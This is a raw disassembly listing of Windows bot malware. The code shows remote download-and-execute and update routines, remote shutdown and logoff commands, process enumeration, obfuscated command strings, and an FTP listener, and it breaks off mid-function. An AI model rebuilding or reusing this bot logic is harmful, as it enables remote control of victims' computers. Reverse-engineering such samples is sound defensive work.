loc_41DC80: ; CODE XREF: sub_41D830+3DBj
; sub_41D830+484j ...
mov eax, [esp+34h+var_20]
push 0
lea edx, [esp+38h+arg_130]
push 1000h
push edx
push eax
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DCF8
cmp ebp, 1000h
jge short loc_41DCB0
mov [esp+ebp+44h+arg_120], 0
loc_41DCB0: ; CODE XREF: sub_41D830+476j
xor edi, edi
test ebp, ebp
jle short loc_41DC80
loc_41DCB6: ; CODE XREF: sub_41D830+4A5j
push 4
lea ecx, [esp+edi+48h+arg_120]
push offset asc_443EF8 ; "\r\n\r\n"
push ecx
call near ptr 77C47A50h
nop
add esp, 0Ch
test eax, eax
jz short loc_41DCD9
inc edi
cmp edi, ebp
jl short loc_41DCB6
jmp short loc_41DC80
; ---------------------------------------------------------------------------
loc_41DCD9: ; CODE XREF: sub_41D830+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DCF8
loc_41DCE0: ; CODE XREF: sub_41D830+4C6j
movsx edx, [esp+edi+44h+arg_120]
push ebx
push edx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DCE0
loc_41DCF8: ; CODE XREF: sub_41D830+46Ej
; sub_41D830+4AEj ...
mov edi, [esp+44h+var_30]
push 0
lea eax, [esp+48h+arg_120]
push 1000h
push eax
push edi
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DD48
cmp ebp, 1000h
jge short loc_41DD28
mov [esp+ebp+54h+arg_110], 0
loc_41DD28: ; CODE XREF: sub_41D830+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DCF8
loc_41DD2E: ; CODE XREF: sub_41D830+514j
movsx ecx, [esp+edi+54h+arg_110]
push ebx
push ecx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DD2E
jmp short loc_41DCF8
; ---------------------------------------------------------------------------
loc_41DD48: ; CODE XREF: sub_41D830+4E6j
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
push edi
call near ptr 71AB9639h
nop
lea ecx, [esp+58h+var_3C]
mov [esp+58h+arg_1114], 3
call sub_401226
lea ecx, [esp+58h+var_C]
mov [esp+58h+arg_1114], 2
call sub_401226
loc_41DD7B: ; CODE XREF: sub_41D830+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DE17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41DF0F
push offset byte_446F70
mov ecx, ebp
call sub_4017E4
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017E4
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
jmp loc_41DF0F
; ---------------------------------------------------------------------------
loc_41DE17: ; CODE XREF: sub_41D830+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea edx, [esp+58h+var_3C]
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 51h
push edx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov [esp+58h+arg_1114], 5
call sub_4014D3
push eax
mov ecx, ebx
call sub_4014D3
push eax
call sub_402149
add esp, 8
lea ecx, [esp+58h+var_3C]
mov bl, al
mov [esp+58h+arg_1114], 2
call sub_401226
test bl, bl
jz short loc_41DEEA
mov al, byte_4478D6
test al, al
jz short loc_41DEB9
push offset dword_447874
mov ecx, offset dword_448DB0
call sub_401447
loc_41DEB9: ; CODE XREF: sub_41D830+678j
mov al, byte_44791F
test al, al
jz short loc_41DED1
push offset byte_44794F
mov ecx, offset dword_448DB0
call sub_401942
loc_41DED1: ; CODE XREF: sub_41D830+690j
mov ecx, offset dword_448DB0
call sub_401E5B
push 1
mov byte_4E6E84, 0
nop
call near ptr 77C39E7Eh
loc_41DEEA: ; CODE XREF: sub_41D830+66Fj
mov ecx, edi
call sub_4014D3
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
loc_41DF0F: ; CODE XREF: sub_41D830+597j
; sub_41D830+5E2j
mov [esp+5Ch+var_44], esi
lea edx, [esp+5Ch+var_44]
loc_41DF17: ; CODE XREF: sub_41D830+1E7j
push edx
loc_41DF18: ; CODE XREF: sub_41D830+23Ej
; sub_41D830+2BDj
mov ecx, offset byte_4E6EDB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+5Ch+var_28]
mov [esp+5Ch+arg_1110], 0FFFFFFFFh
call sub_401226
jmp short loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DF38: ; CODE XREF: sub_41D830+36j
; sub_41D830+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41DF40: ; CODE XREF: sub_41D830+9Cj
push eax
mov ecx, offset byte_4E6EDB
call sub_40120D
sub_41D830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D830
loc_41DF4B: ; CODE XREF: sub_41D830+44Bj
; sub_41D830+706j
mov ecx, [esp+34h+arg_1130]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D830
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E140 proc near ; CODE XREF: sub_401B90j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E140
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_41E140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019B5
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E31B
push offset dword_443FFC
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 14h
push 0
push 6
nop
call near ptr 28C0383h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E31B: ; CODE XREF: ___:0041E2DEj
lea ecx, [esi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E36A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_401681
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 14h
push 0
push 5
call near ptr 28C0383h
nop
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E36A: ; CODE XREF: ___:0041E32Dj
lea ecx, [esi+60h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E3B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 14h
push 0
push 4
nop
call near ptr 28C0383h
loc_41E3B1: ; CODE XREF: ___:0041E37Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E400 proc near ; CODE XREF: sub_401F5Fj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E400
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_41E400 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019B5
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017E4
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E660 proc near ; CODE XREF: sub_401613j
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E660
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E7FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018D9
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E7E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019B5
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014D3
push eax
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401703
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jz short loc_41E7E2
mov ebp, dword_50F8D0
loc_41E76E: ; CODE XREF: sub_41E660+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017E4
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jnz short loc_41E76E
loc_41E7E2: ; CODE XREF: sub_41E660+62j
; sub_41E660+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401816
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E660+37j
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8EE
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014D3
push eax
push offset dword_44402C
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E8EE: ; CODE XREF: sub_41E660+1ACj
lea ecx, [edi+8Eh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EA55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016E0
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402144
add esp, 4
test al, al
jz loc_41EA3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019B5
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B40
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_40145B
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EA3D
mov ebx, dword_50F8D0
loc_41E9D6: ; CODE XREF: sub_41E660+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017E4
push eax
push edi
push offset dword_444020
mov ecx, ebp
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_40182A
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41E9D6
loc_41EA3D: ; CODE XREF: sub_41E660+2CFj
; sub_41E660+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EA55: ; CODE XREF: sub_41E660+2A3j
lea ecx, [edi+0BCh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB4C
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017E4
push eax
call sub_4019FB
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014D3
push eax
push offset dword_444018
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EB4C: ; CODE XREF: sub_41E660+40Aj
lea ecx, [edi+60h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC15
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41EC15
push ebx
push offset dword_44400C
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
push ebx
call sub_4018A7
add esp, 1Ch
jmp short loc_41EC17
; ---------------------------------------------------------------------------
loc_41EC15: ; CODE XREF: sub_41E660+1F0j
; sub_41E660+44Ej ...
xor al, al
loc_41EC17: ; CODE XREF: sub_41E660+195j
; sub_41E660+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EDB0: ; CODE XREF: ___:loc_401FE6j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_50F8D0
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EDE0: ; CODE XREF: ___:0041EDF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EDF3
push 3E8h
call edi
jmp short loc_41EDE0
; ---------------------------------------------------------------------------
loc_41EDF3: ; CODE XREF: ___:0041EDE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_4472B7
call sub_401A32
lea edx, [ebp-14h]
mov ecx, offset byte_4E6EDB
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EE19: ; DATA XREF: ___:loc_41EE2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EE2C: ; DATA XREF: ___:0044154Co
mov eax, offset loc_41EE19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EE70 proc near ; CODE XREF: sub_401DE3j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FBE
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FBE
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FBE
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EE70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF30 proc near ; CODE XREF: sub_4020A9j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41EF30
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_436840
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44768F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41EFB7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E6EDB
push eax
mov [esp+28h+var_18], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj
push 10h
push esi
push eax
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41EFE7
mov ecx, [edi+15h]
push ecx
nop
call near ptr 71AB9639h
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E6EDB
push edx
mov [esp+38h+var_28], edi
call sub_40120D
; ---------------------------------------------------------------------------
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFE7: ; CODE XREF: sub_41EF30+93j
mov al, byte_4E6E84
test al, al
jz loc_41F650
push ebx
mov ebx, dword_50FB08
push ebp
mov ebp, dword_50FC8C
loc_41F002: ; CODE XREF: sub_41EF30+718j
mov eax, [edi+15h]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41F01D
push 0FAh
jmp loc_41F63B
; ---------------------------------------------------------------------------
loc_41F01D: ; CODE XREF: sub_41EF30+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F636
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F641
mov cl, byte_447DF8
test cl, cl
jz short loc_41F0CF
mov edx, [esp+58h+var_34+3]
mov ecx, dword_44768F
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_447998
call sub_4014D3
push eax
push 0
push 0
push offset byte_4D60B5
call sub_401848
add esp, 28h
loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej
lea ecx, [esp+58h+arg_0]
call sub_401424
push 1000h
push 1000h
